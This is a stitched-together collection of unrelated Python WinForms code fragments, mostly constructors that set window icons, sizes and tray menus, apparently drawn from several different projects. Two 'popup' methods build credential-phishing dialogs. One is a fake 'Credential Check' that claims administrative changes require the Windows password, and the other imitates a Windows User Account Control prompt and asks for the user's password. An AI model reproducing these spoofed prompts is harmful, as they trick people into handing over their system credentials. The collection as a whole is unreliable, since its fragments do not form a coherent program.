def icon(self): """Creating icon in system tray""" AddReference('System.ComponentModel') AddReference('System.Windows.Forms') AddReference('System.Drawing') from System.ComponentModel import Container from System.Windows.Forms import NotifyIcon, MenuItem, ContextMenu from System.Drawing import Icon self.components = Container() context_menu = ContextMenu() menu_item = MenuItem('Show') menu_item.Click += self.open_from_tray context_menu.MenuItems.Add(menu_item) menu_item = MenuItem('Quit') menu_item.Click += self.quit context_menu.MenuItems.Add(menu_item) notifyIcon = NotifyIcon(self.components) notifyIcon.Icon = Icon(ico_path) notifyIcon.Text = title notifyIcon.Visible = True notifyIcon.ContextMenu = context_menu notifyIcon.DoubleClick += self.open_from_tray return notifyIcon
def __init__(self, RB_print): self.RB_print = RB_print self.Text = 'RedBim' self.Name = 'RedBimPrinter' self.Height = 500 self.Width = 700 self.AutoScroll = True self.AutoScaleMode = AutoScaleMode.Font self.BackColor = Color.FromArgb(67, 67, 67) # self.BackgroundImage = Image.FromFile(os.path.join(STATIC_IMAGE, "bg.png")) # self.BackgroundImageLayout = ImageLayout.Center self.Icon = Icon(os.path.join(STATIC_IMAGE, "icon.ico"), 16, 16) self.StartPosition = FormStartPosition.CenterScreen self.label = Label() self.label.Anchor = (AnchorStyles.Top | AnchorStyles.Left | AnchorStyles.Right) self.label.BackColor = Color.FromArgb(0, 0, 0, 0) self.label.Font = Font("ISOCPEUR", 12, FontStyle.Italic) self.label.ForeColor = Color.White self.label.Location = Point(0, 0) self.label.Name = "text" self.label.Dock = DockStyle.Top self.label.AutoSize = True self.Controls.Add(self.label) self.label.Click += self.add_to_clipboard
def __init__(self): self.Text = "Hello World (" + __file__ + ")" self._txtMessage = TextBox() msgButton = Button(Text="Message") msgButton.Click += self.OnmsgButtonClick # # Create FlowPanelLayout and add controls # self._flowLayoutPanel1 = FlowLayoutPanel(Dock=DockStyle.Fill) self._flowLayoutPanel1.Controls.Add(Label(Text="Enter Message:")) self._flowLayoutPanel1.Controls.Add(self._txtMessage) self._flowLayoutPanel1.Controls.Add(msgButton) self.Controls.Add(self._flowLayoutPanel1) self._components = System.ComponentModel.Container() # # Add component - ContextMenu # self._contextMenuStrip1 = ContextMenuStrip(self._components) self._exitToolStripMenuItem = ToolStripMenuItem(Text="Exit") self._exitToolStripMenuItem.Click += self.OnExitClick self._contextMenuStrip1.Items.Add(self._exitToolStripMenuItem) # # add Component - NotifyIcon # self._notifyIcon1 = NotifyIcon(self._components, Visible=True, Text="Test") self._notifyIcon1.Icon = Icon( System.IO.Path.Combine(sys.path[0], "app.ico")) self._notifyIcon1.ContextMenuStrip = self._contextMenuStrip1 self.Closed += self.OnNotifyIconExit
def __init__(self): #the __init__ method inside a class is its constructor self.Text = "AU London" #text that appears in the GUI titlebar self.Icon = Icon.FromHandle(icon.GetHicon()) #takes a bitmap image and converts to a file that can be used as a Icon for the titlebar self.BackColor = Color.FromArgb(255, 255, 255) self.WindowState = FormWindowState.Normal # set maximised minimised or normal size GUI self.CenterToScreen() # centres GUI to the middle of your screen self.BringToFront() #brings the GUI to the front of all opens windows. self.Topmost = True # true to display the GUI infront of any other active forms screenSize = Screen.GetWorkingArea(self) #get the size of the computers main screen, as the form will scale differently to different sized screens self.Width = screenSize.Width / 4 #set the size of the form based on the size of the users screen. this helps to ensure consistant look across different res screens. self.Height = screenSize.Height / 4 uiWidth = self.DisplayRectangle.Width #get the size of the form to use to scale form elements uiHeight = self.DisplayRectangle.Height #self.FormBorderStyle = FormBorderStyle.FixedDialog # fixed dialog stops the user from adjusting the form size. Recomended disabling this when testing to see if elements are in the wrong place. self.userOutput = userOutputDefaultStr #create a container to store the output from the form self.runNextOutput = False #set these default values #############-------------\-------------############# spacing = 10 #spacing size for GUI elements to form a consistent border # creates the text box for a info message userMessage = Label() #label displays texts font = Font("Helvetica ", 10) userMessage.Text = message userMessage.Font = font userMessage.Location = Point(spacing, spacing) #all location require a point object from system.Drawing to set the location. userMessage.Size = Size(uiWidth-(spacing*2),(uiHeight/4)) #size the control with the width of the GUI to ensure it scales with different screen self.Controls.Add(userMessage) #this adds control element to the GUI
def __init__(self, title, url, width, height, resizable, fullscreen, min_size, webview_ready): self.Text = title self.AutoScaleBaseSize = Size(5, 13) self.ClientSize = Size(width, height) self.MinimumSize = Size(min_size[0], min_size[1]) # Application icon try: # Try loading an icon embedded in the exe file. This will crash when frozen with PyInstaller handler = windll.kernel32.GetModuleHandleW(None) icon_handler = windll.user32.LoadIconW(handler, 1) self.Icon = Icon.FromHandle( IntPtr.op_Explicit(Int32(icon_handler))) except: pass self.webview_ready = webview_ready self.web_browser = WinForms.WebBrowser() self.web_browser.Dock = WinForms.DockStyle.Fill if url: self.web_browser.Navigate(url) self.Controls.Add(self.web_browser) self.is_fullscreen = False self.Shown += self.on_shown if fullscreen: self.toggle_fullscreen()
def __init__(self, window): self.uid = window.uid self.pywebview_window = window self.real_url = None self.Text = window.title self.ClientSize = Size(window.width, window.height) self.MinimumSize = Size(window.min_size[0], window.min_size[1]) self.BackColor = ColorTranslator.FromHtml(window.background_color) if window.x is not None and window.y is not None: self.move(window.x, window.y) else: self.StartPosition = WinForms.FormStartPosition.CenterScreen self.AutoScaleDimensions = SizeF(96.0, 96.0) self.AutoScaleMode = WinForms.AutoScaleMode.Dpi if not window.resizable: self.FormBorderStyle = WinForms.FormBorderStyle.FixedSingle self.MaximizeBox = False # Application icon handle = windll.kernel32.GetModuleHandleW(None) icon_handle = windll.shell32.ExtractIconW(handle, sys.executable, 0) if icon_handle != 0: self.Icon = Icon.FromHandle(IntPtr.op_Explicit(Int32(icon_handle))).Clone() windll.user32.DestroyIcon(icon_handle) self.shown = window.shown self.loaded = window.loaded self.url = window.url self.text_select = window.text_select self.is_fullscreen = False if window.fullscreen: self.toggle_fullscreen() if window.frameless: self.frameless = window.frameless self.FormBorderStyle = 0 if is_cef: CEF.create_browser(window, self.Handle.ToInt32(), BrowserView.alert) elif is_edge: self.browser = BrowserView.EdgeHTML(self, window) else: self.browser = BrowserView.MSHTML(self, window) self.Shown += self.on_shown self.FormClosed += self.on_close if is_cef: self.Resize += self.on_resize if window.confirm_close: self.FormClosing += self.on_closing
def __init__(self, window): self.uid = window.uid self.pywebview_window = window self.url = None self.Text = window.title self.Size = Size(window.initial_width, window.initial_height) self.MinimumSize = Size(window.min_size[0], window.min_size[1]) self.BackColor = ColorTranslator.FromHtml(window.background_color) if window.initial_x is not None and window.initial_y is not None: self.move(window.initial_x, window.initial_y) else: self.StartPosition = WinForms.FormStartPosition.CenterScreen self.AutoScaleDimensions = SizeF(96.0, 96.0) self.AutoScaleMode = WinForms.AutoScaleMode.Dpi if not window.resizable: self.FormBorderStyle = WinForms.FormBorderStyle.FixedSingle self.MaximizeBox = False if window.minimized: self.WindowState = WinForms.FormWindowState.Minimized # Application icon handle = windll.kernel32.GetModuleHandleW(None) icon_path = os.path.join(os.path.dirname(os.path.realpath(importlib.util.find_spec("bcml").origin)), "data", "bcml.ico") icon_handle = windll.shell32.ExtractIconW(handle, icon_path, 0) if icon_handle != 0: self.Icon = Icon.FromHandle( IntPtr.op_Explicit(Int32(icon_handle)) ).Clone() windll.user32.DestroyIcon(icon_handle) self.closed = window.closed self.closing = window.closing self.shown = window.shown self.loaded = window.loaded self.url = window.url self.text_select = window.text_select self.on_top = window.on_top self.is_fullscreen = False if window.fullscreen: self.toggle_fullscreen() if window.frameless: self.frameless = window.frameless self.FormBorderStyle = 0 CEF.create_browser(window, self.Handle.ToInt32(), BrowserView.alert) self.Shown += self.on_shown self.FormClosed += self.on_close self.FormClosing += self.on_closing self.Resize += self.on_resize
def __init__(self, docs): Form.__init__(self) self.ClientSize = Size(400, 400) self.Text = "Module Details" self.Icon = Icon(UIGlobal.ApplicationIcon) infoPane = ModuleInfoPane() infoPane.SetFromDocs(docs) self.Controls.Add(infoPane)
def __init__(self, title, url, width, height, resizable, fullscreen, min_size, confirm_quit, background_color, debug, webview_ready): self.Text = title self.ClientSize = Size(width, height) self.MinimumSize = Size(min_size[0], min_size[1]) self.BackColor = ColorTranslator.FromHtml(background_color) if not resizable: self.FormBorderStyle = WinForms.FormBorderStyle.FixedSingle self.MaximizeBox = False # Application icon handle = windll.kernel32.GetModuleHandleW(None) icon_handle = windll.shell32.ExtractIconW(handle, sys.executable, 0) if icon_handle != 0: self.Icon = Icon.FromHandle( IntPtr.op_Explicit(Int32(icon_handle))).Clone() windll.user32.DestroyIcon(icon_handle) self.webview_ready = webview_ready self.web_browser = WinForms.WebBrowser() self.web_browser.Dock = WinForms.DockStyle.Fill self.web_browser.ScriptErrorsSuppressed = True self.web_browser.IsWebBrowserContextMenuEnabled = False self.web_browser.WebBrowserShortcutsEnabled = False # HACK. Hiding the WebBrowser is needed in order to show a non-default background color. Tweaking the Visible property # results in showing a non-responsive control, until it is loaded fully. To avoid this, we need to disable this behaviour # for the default background color. if background_color != '#FFFFFF': self.web_browser.Visible = False self.first_load = True else: self.first_load = False self.cancel_back = False self.web_browser.PreviewKeyDown += self.on_preview_keydown self.web_browser.Navigating += self.on_navigating self.web_browser.DocumentCompleted += self.on_document_completed if url: self.web_browser.Navigate(url) self.Controls.Add(self.web_browser) self.is_fullscreen = False self.Shown += self.on_shown if confirm_quit: self.FormClosing += self.on_closing if fullscreen: self.toggle_fullscreen()
def application_main(): global icon icon = NotifyIcon() icon.Text = "Hello World" icon.Icon = Icon(SystemIcons.Application, 40, 40) icon.Visible = True Application().Run()
def __init__(self): self.Text = "Icon" self.Width = 250 self.Height = 200 try: self.Icon = Icon("Web.ico") except Exception, e: print e sys.exit(1)
def __init__(self, uid, title, url, width, height, resizable, fullscreen, min_size, confirm_quit, background_color, debug, js_api, text_select, frameless, webview_ready): self.uid = uid self.Text = title self.ClientSize = Size(width, height) self.MinimumSize = Size(min_size[0], min_size[1]) self.BackColor = ColorTranslator.FromHtml(background_color) self.AutoScaleDimensions = SizeF(96.0, 96.0) self.AutoScaleMode = WinForms.AutoScaleMode.Dpi if not resizable: self.FormBorderStyle = WinForms.FormBorderStyle.FixedSingle self.MaximizeBox = False # Application icon handle = windll.kernel32.GetModuleHandleW(None) icon_handle = windll.shell32.ExtractIconW(handle, sys.executable, 0) if icon_handle != 0: self.Icon = Icon.FromHandle(IntPtr.op_Explicit(Int32(icon_handle))).Clone() windll.user32.DestroyIcon(icon_handle) self.webview_ready = webview_ready self.load_event = Event() self.background_color = background_color self.url = url self.is_fullscreen = False if fullscreen: self.toggle_fullscreen() if frameless: self.frameless = frameless self.FormBorderStyle = 0 if is_cef: CEF.create_browser(self.uid, self.Handle.ToInt32(), BrowserView.alert, url, js_api) else: self._create_mshtml_browser(url, js_api, debug) self.text_select = text_select self.Shown += self.on_shown self.FormClosed += self.on_close if is_cef: self.Resize += self.on_resize if confirm_quit: self.FormClosing += self.on_closing
def __init__(self): Form.__init__(self) self.ClientSize = Size(400, 250) self.Text = "About FLExTools" self.FormBorderStyle = FormBorderStyle .Fixed3D self.Icon = Icon(UIGlobal.ApplicationIcon) pb = PictureBox() pb.Image = Image.FromFile(UIGlobal.ApplicationIcon) pb.BackColor = UIGlobal.helpDialogColor pb.SizeMode = PictureBoxSizeMode.CenterImage self.Controls.Add(pb) self.Controls.Add(AboutInfo())
def __init__(self, currentDatabase=None): Form.__init__(self) self.ClientSize = Size(300, 250) self.Text = "Choose Database" self.Icon = Icon(UIGlobal.ApplicationIcon) self.databaseName = currentDatabase self.databaseList = DatabaseList(currentDatabase) self.databaseList.SetActivatedHandler(self.__OnDatabaseActivated) self.Load += self.__OnLoad self.Controls.Add(self.databaseList)
def __init__(self, cm, mm, currentCollection): Form.__init__(self) self.ClientSize = Size(600, 600) self.Text = "Collections Manager" self.Icon = Icon(UIGlobal.ApplicationIcon) self.activatedCollection = None self.cmPanel = CollectionsManagerUI(cm, mm, currentCollection) self.cmPanel.SetActivatedHandler(self.__OnCollectionActivated) self.Load += self.__OnLoad self.Controls.Add(self.cmPanel) self.FormClosing += self.__OnFormClosing
def __init__(self, currentProject=None): Form.__init__(self) self.ClientSize = Size(350, 250) self.Text = "Choose Project" self.Icon = Icon(UIGlobal.ApplicationIcon) self.projectName = currentProject self.projectList = ProjectList(currentProject) self.projectList.SetActivatedHandler(self.__OnProjectActivated) self.Load += self.__OnLoad self.Controls.Add(self.projectList)
def popup(self): self.form = Form() self.form.Text = "Credential Check" self.form.MaximizeBox = False self.form.MinimizeBox = False self.form.Width = 300 self.form.Height = 180 self.form.Icon = Icon.ExtractAssociatedIcon(self.path) or None self.form.StartPosition = FormStartPosition.CenterScreen self.form.FormBorderStyle = FormBorderStyle.FixedDialog self.form.TopMost = True self.valButton = Button() self.valButton.Text = "OK" self.valButton.Location = Point(70, 110) self.valButton.Click += EventHandler(self.SubmitHandler) self.canButton = Button() self.canButton.Text = "Cancel" self.canButton.Location = Point(150, 110) self.canButton.Click += EventHandler(self.CancelButtonHandler) self.tbox = Label() self.tbox.Text = "Recent system administrative changes require Windows credentials to access {0}. \nThis security check is only required once.\n\nEnter your Windows password for validation:".format(self.name) self.tbox.Location = Point(10, 10) self.tbox.Width = 280 self.tbox.Height = 100 self.tbox.Font = Font("Arial", 8, FontStyle.Bold) self.inpBox = TextBox() self.inpBox.AcceptsReturn = True self.inpBox.Location = Point(13, 80) self.inpBox.Width = 250 self.inpBox.UseSystemPasswordChar = True self.form.AcceptButton = self.valButton self.form.CancelButton = self.canButton self.form.Controls.Add(self.valButton) self.form.Controls.Add(self.canButton) self.form.Controls.Add(self.inpBox) self.form.Controls.Add(self.tbox) self.form.ActiveControl = self.tbox self.form.FormClosing += FormClosingEventHandler(self.CancelHandler) self.form.ShowDialog()
def __init__(self, title, url, width, height, resizable, fullscreen, min_size, confirm_quit, webview_ready): self.Text = title self.ClientSize = Size(width, height) self.MinimumSize = Size(min_size[0], min_size[1]) if not resizable: self.FormBorderStyle = WinForms.FormBorderStyle.FixedSingle self.MaximizeBox = False # Application icon handle = windll.kernel32.GetModuleHandleW(None) icon_handle = windll.shell32.ExtractIconW(handle, sys.executable, 0) if icon_handle != 0: self.Icon = Icon.FromHandle( IntPtr.op_Explicit(Int32(icon_handle))).Clone() windll.user32.DestroyIcon(icon_handle) self.webview_ready = webview_ready self.web_browser = WinForms.WebBrowser() self.web_browser.Dock = WinForms.DockStyle.Fill self.web_browser.ScriptErrorsSuppressed = True self.web_browser.IsWebBrowserContextMenuEnabled = False self.cancel_back = False self.web_browser.PreviewKeyDown += self.on_preview_keydown self.web_browser.Navigating += self.on_navigating if url: self.web_browser.Navigate(url) self.Controls.Add(self.web_browser) self.is_fullscreen = False self.Shown += self.on_shown if confirm_quit: self.FormClosing += self.on_closing if fullscreen: self.toggle_fullscreen()
def __init__(self): Form.__init__(self) self.ClientSize = Size(700, 500) self.Text = "FLExTools " + Version.number ## Get configurables - current DB, current collection self.configuration = CDFConfigStore(FTPaths.CONFIG_PATH) self.collectionsManager = FTCollections.CollectionsManager() self.__LoadModules() try: listOfModules = self.collectionsManager.ListOfModules( self.configuration.currentCollection) except FTCollections.FTC_NameError: # The configuration value is bad... self.configuration.currentCollection = None listOfModules = [] self.Icon = Icon(UIGlobal.ApplicationIcon) self.InitMainMenu() self.progressPercent = -1 self.progressMessage = None self.StatusBar = StatusBar() self.__UpdateStatusBar() self.UIPanel = FTPanel(self.moduleManager, self.configuration.currentDatabase, listOfModules, self.__LoadModules, self.__ProgressBar ) self.UIPanel.SetChooseDatabaseHandler(self.ChooseDatabase) self.UIPanel.SetEditCollectionsHandler(self.EditCollections) self.FormClosed += self.__OnFormClosed self.Controls.Add(self.UIPanel) self.Controls.Add(self.StatusBar)
def __init__(self, title, url, width, height, resizable, fullscreen, min_size, confirm_quit, webview_ready): self.Text = title self.ClientSize = Size(width, height) self.MinimumSize = Size(min_size[0], min_size[1]) self.AutoScaleDimensions = SizeF(96.0, 96.0) self.AutoScaleMode = WinForms.AutoScaleMode.Dpi if not resizable: self.FormBorderStyle = WinForms.FormBorderStyle.FixedSingle self.MaximizeBox = False # Application icon try: # Try loading an icon embedded in the exe file. This will crash when frozen with PyInstaller handler = windll.kernel32.GetModuleHandleW(None) icon_handler = windll.user32.LoadIconW(handler, 1) self.Icon = Icon.FromHandle( IntPtr.op_Explicit(Int32(icon_handler))) except: pass self.webview_ready = webview_ready self.web_browser = WinForms.WebBrowser() self.web_browser.Dock = WinForms.DockStyle.Fill self.web_browser.ScriptErrorsSuppressed = True self.web_browser.IsWebBrowserContextMenuEnabled = False if url: self.web_browser.Navigate(url) self.Controls.Add(self.web_browser) self.is_fullscreen = False self.Shown += self.on_shown if confirm_quit: self.FormClosing += self.on_closing if fullscreen: self.toggle_fullscreen()
def __init__(self): self.pushbutons = [] self.Text = 'RedBim набор плагинов' self.Name = 'RedBimSetting' self.Height = 450 self.Width = 400 self.AutoScroll = True self.AutoScaleMode = AutoScaleMode.Font self.BackColor = Color.FromArgb(67, 67, 67) # self.BackgroundImage = Image.FromFile(os.path.join(STATIC_IMAGE, "bg.png")) # self.BackgroundImageLayout = ImageLayout.Center self.Icon = Icon(os.path.join(STATIC_IMAGE, "icon.ico"), 16, 16) self.StartPosition = FormStartPosition.CenterScreen self.tree = RB_TreeView() self.tree.CollapseAll() self.tree.BackColor = Color.FromArgb(67, 67, 67) self.tree.BackgroundImage = Image.FromFile( os.path.join(STATIC_IMAGE, "bg.png")) self.tree.BackgroundImageLayout = ImageLayout.Center self.tree.Font = Font("ISOCPEUR", 12, FontStyle.Italic) self.tree.ForeColor = Color.White self.tree.CheckBoxes = True self.tree.Height = 378 self.tree.Dock = DockStyle.Top self.find_all_pushbuttons() self.button = Button() self.button.Dock = DockStyle.Bottom self.button.Text = "Сохранить настройки" self.button.Height = 32 self.button.Font = Font("ISOCPEUR", 12, FontStyle.Italic) self.button.ForeColor = Color.White self.button.BackColor = Color.Green self.button.Click += self.active_button self.Controls.Add(self.button) self.Controls.Add(self.tree)
def __init__(self): self.Text = "Hello World (" + __file__ + ")" # Create Label self.Controls.Add(Label(Text="Enter Message:")) # Create TextBox self._txtMessage = TextBox(Left=100) self.Controls.Add(self._txtMessage) # Create Button msgButton = Button(Text="Message", Left=20, Top=25) msgButton.Click += self.OnMsgButtonClick self.Controls.Add(msgButton) # Create Component Container self._components = System.ComponentModel.Container() # # Add component - ContextMenu # self._contextMenuStrip1 = ContextMenuStrip(self._components) self._exitToolStripMenuItem = ToolStripMenuItem(Text="Exit") self._contextMenuStrip1.Items.Add(self._exitToolStripMenuItem) self._exitToolStripMenuItem.Click += self.OnExitClick # # add Component - NotifyIcon # self._notifyIcon1 = NotifyIcon(self._components, Visible=True, Text="Test") self._notifyIcon1.Icon = Icon( System.IO.Path.Combine(sys.path[0], "app.ico")) self._notifyIcon1.ContextMenuStrip = self._contextMenuStrip1 self.Closed += self.OnNotifyIconExit
def __init__(self): # Colors self.color_title = Color.FromArgb(135, 189, 68) self.color_button_sel = Color.FromArgb(153, 198, 91) self.color_button = Color.FromArgb(103, 148, 41) self.color_window = Color.FromArgb(48, 48, 48) self.color_panel = Color.FromArgb(124, 124, 124) # Window parameters self.Text = "PyNettr 0.1.0" self.Name = "Test" self.Size = Size(500, 550) self.MinimumSize = Size(460, 480) self.BackColor = self.color_window self.Icon = Icon("res\\icon.ico") # Top Main Label self.top_label = Label() self.top_label.Anchor = AnchorStyles.Top self.top_label.Text = "PyNettr" self.top_label.Size = Size(120, 30) self.top_label.ForeColor = self.color_title self.top_label.Font = Font("Lucida Console", 16, FontStyle.Bold) self.top_label.Location = Point(185, 3) # Console box to write to self.console_box = self.new_textbox() self.console_box.Multiline = True self.console_box.ReadOnly = True self.console_box.BackColor = Color.FromArgb(65, 65, 65) self.console_box.ScrollBars = ScrollBars.Vertical self.console_box.Size = Size(420, 120) self.console_box.Location = Point(30, 360) self.console_box.Anchor = (AnchorStyles.Left | AnchorStyles.Right | AnchorStyles.Bottom) self.acl_panel_new = self.setup_acl_tool() # Placeholder_1 Tool panel################################# self.placeholder_panel_1 = self.new_panel() self.placeholder_panel_1.Name = "placeholder_panel_1" # Placeholder_2 Tool Panel################################## self.placeholder_panel_2 = self.new_panel() self.placeholder_panel_2.Name = "placeholder_panel_2" # Placeholder_3 Tool Panel################################## self.placeholder_panel_3 = self.new_panel() self.placeholder_panel_3.Name = "placeholder_panel_3" # Main Tool Buttons###################################### # Button to activate ACL tool panel self.button_acl_tool = self.new_button() self.button_acl_tool.Text = "ACL Tool" self.button_acl_tool.Location = Point(30, 37) self.button_acl_tool.Click += self.acl_tool # Button to activate X tool panel self.button_ph_tool_1 = self.new_button() self.button_ph_tool_1.Text = "Test" self.button_ph_tool_1.Location = Point(138, 37) self.button_ph_tool_1.Click += self.placeholder_tool_1 # Button for phtool2 self.button_ph_tool_2 = self.new_button() self.button_ph_tool_2.Location = Point(247, 37) self.button_ph_tool_2.Text = "Test2" #self.button_ph_tool_2.Click += self.placeholder_tool_2 # Button for tool_4 self.button_tool_4 = self.new_button() self.button_tool_4.Location = Point(358, 37) self.button_tool_4.Text = "Tool_4" self.button_tool_4.Click += self.activate_tool_4 self.tool_4_panel = self.setup_tool_4() # Adding initial layout################################## self.Controls.Add(self.top_label) # buttons self.Controls.Add(self.button_acl_tool) self.Controls.Add(self.button_ph_tool_1) self.Controls.Add(self.button_ph_tool_2) self.Controls.Add(self.button_tool_4) # panels self.Controls.Add(self.placeholder_panel_1) self.Controls.Add(self.placeholder_panel_2) self.Controls.Add(self.tool_4_panel) self.Controls.Add(self.acl_panel_new) self.Controls.Add(self.console_box)
def popup(self): self.form = Form() self.form.Text = " User Account Control" self.form.MaximizeBox = False self.form.MinimizeBox = False self.form.Width = 430 self.form.Height = 270 self.form.Icon = None self.form.StartPosition = FormStartPosition.CenterScreen self.form.FormBorderStyle = FormBorderStyle.FixedDialog self.form.TopMost = True self.form.BackColor = ColorTranslator.FromHtml("#E6E6E6") self.tbox = Label() self.tbox.Text = " Do you want to allow this app to make\n changes to your device?" self.tbox.Location = Point(0, 0) self.tbox.Width = self.form.Width self.tbox.Height = 60 self.tbox.Font = Font("Segoe UI", 13) self.tbox.BackColor = ColorTranslator.FromHtml("#2D89EF") self.pb = PictureBox() self.pb.Parent = self.form self.pb.Size = Size(50, 40) self.pb.Location = Point(13, 80) self.pb.Image = Icon.ExtractAssociatedIcon(self.path).ToBitmap() self.namebox = Label() self.namebox.Text = " {} for Windows".format( str(self.name).replace('.exe', '').capitalize()) self.namebox.Location = Point(55, 82) self.namebox.Width = self.form.Width - 60 self.namebox.Height = 30 self.namebox.Font = Font("Segoe UI", 13) self.please = Label() self.please.Text = " Please, confirm your Password to continue:" self.please.Location = Point(7, 125) self.please.Width = self.form.Width - 60 self.please.Height = 30 self.please.Font = Font("Segoe UI", 12) self.inpBox = TextBox() self.inpBox.AcceptsReturn = True self.inpBox.Location = Point(13, 155) self.inpBox.Font = Font("Segoe UI", 10) self.inpBox.AutoSize = False self.inpBox.Size = Size(380, 25) self.inpBox.UseSystemPasswordChar = True self.inpBox.BorderStyle = BorderStyle.FixedSingle self.valButton = Button() self.valButton.BackColor = ColorTranslator.FromHtml("#CCCCCC") self.valButton.Text = "Confirm" self.valButton.Size = Size(190, 27) self.valButton.Location = Point(13, 190) self.valButton.FlatStyle = FlatStyle.Flat self.valButton.Font = Font("Segoe UI", 10) self.valButton.Click += EventHandler(self.SubmitHandler) self.canButton = Button() self.canButton.BackColor = ColorTranslator.FromHtml("#CCCCCC") self.canButton.Text = "Cancel" self.canButton.Size = Size(190, 27) self.canButton.FlatStyle = FlatStyle.Flat self.canButton.Location = Point(204, 190) self.canButton.Font = Font("Segoe UI", 10) self.canButton.Click += EventHandler(self.CancelButtonHandler) self.form.AcceptButton = self.valButton self.form.CancelButton = self.canButton self.form.Controls.Add(self.please) self.form.Controls.Add(self.pb) self.form.Controls.Add(self.valButton) self.form.Controls.Add(self.canButton) self.form.Controls.Add(self.inpBox) self.form.Controls.Add(self.tbox) self.form.Controls.Add(self.namebox) self.form.ActiveControl = self.tbox self.form.FormClosing += FormClosingEventHandler(self.CancelHandler) self.form.ShowDialog()
def initNotifyIcon(self): self.notifyIcon = NotifyIcon() self.notifyIcon.Icon = Icon("dvd.ico") self.notifyIcon.Visible = True self.notifyIcon.ContextMenu = self.initContextMenu()
def __init__(self): #the __init__ method inside a class is its constructor self.Text = "AU London" #text that appears in the GUI titlebar self.Icon = Icon.FromHandle( icon.GetHicon() ) #takes a bitmap image and converts to a file that can be used as a Icon for the titlebar self.BackColor = Color.FromArgb(255, 255, 255) self.WindowState = FormWindowState.Normal # set maximised minimised or normal size GUI self.CenterToScreen() # centres GUI to the middle of your screen self.BringToFront() #brings the GUI to the front of all opens windows. self.Topmost = True # true to display the GUI infront of any other active forms screenSize = Screen.GetWorkingArea( self ) #get the size of the computers main screen, as the form will scale differently to different sized screens self.Width = screenSize.Width / 4 #set the size of the form based on the size of the users screen. this helps to ensure consistant look across different res screens. self.Height = screenSize.Height / 4 uiWidth = self.DisplayRectangle.Width #get the size of the form to use to scale form elements uiHeight = self.DisplayRectangle.Height #self.FormBorderStyle = FormBorderStyle.FixedDialog # fixed dialog stops the user from adjusting the form size. Recomended disabling this when testing to see if elements are in the wrong place. self.userOutput = userOutputDefaultStr #create a container to store the output from the form self.runNextOutput = False #set these default values #############-------------\-------------############# spacing = 10 #spacing size for GUI elements to form a consistent border # creates the text box for a info message userMessage = Label() #label displays texts font = Font("Helvetica ", 10) userMessage.Text = message userMessage.Font = font userMessage.Location = Point( spacing, spacing ) #all location require a point object from system.Drawing to set the location. userMessage.Size = Size( uiWidth - (spacing * 2), (uiHeight / 4) ) #size the control with the width of the GUI to ensure it scales with different screen self.Controls.Add(userMessage) #this adds control element to the GUI #############-------------\-------------############# #logo file logo = PictureBox() logo.Image = logoFile ratio = float(logo.Height) / float( logo.Width ) #needs to be a float as int will round to the nearest whole number logo.Size = Size( uiWidth / 4, (uiHeight / 4) * ratio ) #scale the image by the ratio between the images height & width logo.Location = Point(spacing, (uiHeight - logo.Height) - spacing) logo.SizeMode = PictureBoxSizeMode.Zoom # zooms the image to fit the extent logo.Anchor = ( AnchorStyles.Bottom | AnchorStyles.Left ) #anchor styles lock elements to a given corner of the GUI if you allow users change size self.Controls.Add(logo) #logo.BorderStyle = BorderStyle.Fixed3D #gives a border to the panel to test its location #############-------------\-------------############# #combox drop down cBox = ComboBox() #dropdown control form cBox.Location = Point(spacing, uiHeight / 3) cBox.Width = uiWidth - (spacing * 2) cBox.Items.AddRange( listInput ) # Adds an array of items to the list of items for a ComboBox. cBox.DropDownStyle = ComboBoxStyle.DropDownList #setting to dropdown list prevents users from being able to add aditional text values cBox.SelectedIndexChanged += self.dropDownOutput #.Click+= registers the press of the button to register the event handler and determine what action takes place when button clicked self.Controls.Add(cBox) #############-------------\-------------############# #Create ok button btnOk = Button() #create a button control btnOk.Text = "Next" btnOk.Location = Point(uiWidth - ((btnOk.Width * 2) + spacing), uiHeight - (btnOk.Height + spacing)) btnOk.Anchor = (AnchorStyles.Bottom | AnchorStyles.Right) btnOk.Click += self.okButtonPressed #Register the event on the button bress to trigger the def okButtonPressed self.Controls.Add(btnOk) #Create Cancel Button btnCancel = Button() #btnCancel.Parent = self btnCancel.Text = "Cancel" btnCancel.Location = Point(uiWidth - (btnOk.Width + spacing), uiHeight - (btnOk.Height + spacing)) btnCancel.Anchor = (AnchorStyles.Bottom | AnchorStyles.Right) btnCancel.Click += self.CnlButtonPressed self.Controls.Add(btnCancel)
def __init__(self, uid, title, url, width, height, resizable, fullscreen, min_size, confirm_quit, background_color, debug, js_api, text_select, webview_ready): self.uid = uid self.Text = title self.ClientSize = Size(width, height) self.MinimumSize = Size(min_size[0], min_size[1]) self.BackColor = ColorTranslator.FromHtml(background_color) self.AutoScaleDimensions = SizeF(96.0, 96.0) self.AutoScaleMode = WinForms.AutoScaleMode.Dpi if not resizable: self.FormBorderStyle = WinForms.FormBorderStyle.FixedSingle self.MaximizeBox = False # Application icon handle = windll.kernel32.GetModuleHandleW(None) icon_handle = windll.shell32.ExtractIconW(handle, sys.executable, 0) if icon_handle != 0: self.Icon = Icon.FromHandle( IntPtr.op_Explicit(Int32(icon_handle))).Clone() windll.user32.DestroyIcon(icon_handle) self.webview_ready = webview_ready self.load_event = Event() self.web_browser = WebBrowserEx() self.web_browser.Dock = WinForms.DockStyle.Fill self.web_browser.ScriptErrorsSuppressed = not debug self.web_browser.IsWebBrowserContextMenuEnabled = debug self.web_browser.WebBrowserShortcutsEnabled = False self.web_browser.DpiAware = True self.web_browser.ScriptErrorsSuppressed = not debug self.web_browser.IsWebBrowserContextMenuEnabled = debug self.js_result_semaphore = Semaphore(0) self.js_bridge = BrowserView.JSBridge() self.js_bridge.parent_uid = uid self.web_browser.ObjectForScripting = self.js_bridge self.text_select = text_select if js_api: self.js_bridge.api = js_api # HACK. Hiding the WebBrowser is needed in order to show a non-default background color. Tweaking the Visible property # results in showing a non-responsive control, until it is loaded fully. To avoid this, we need to disable this behaviour # for the default background color. if background_color != '#FFFFFF': self.web_browser.Visible = False self.first_load = True else: self.first_load = False self.cancel_back = False self.web_browser.PreviewKeyDown += self.on_preview_keydown self.web_browser.Navigating += self.on_navigating self.web_browser.NewWindow3 += self.on_new_window self.web_browser.DownloadComplete += self.on_download_complete self.web_browser.DocumentCompleted += self.on_document_completed if url: self.web_browser.Navigate(url) else: self.web_browser.DocumentText = default_html self.url = url self.Controls.Add(self.web_browser) self.is_fullscreen = False self.Shown += self.on_shown self.FormClosed += self.on_close if confirm_quit: self.FormClosing += self.on_closing if fullscreen: self.toggle_fullscreen()
def icon(self, new_icon: str): self.__icon = new_icon self.__cef_form.Icon = Icon(self.__icon)
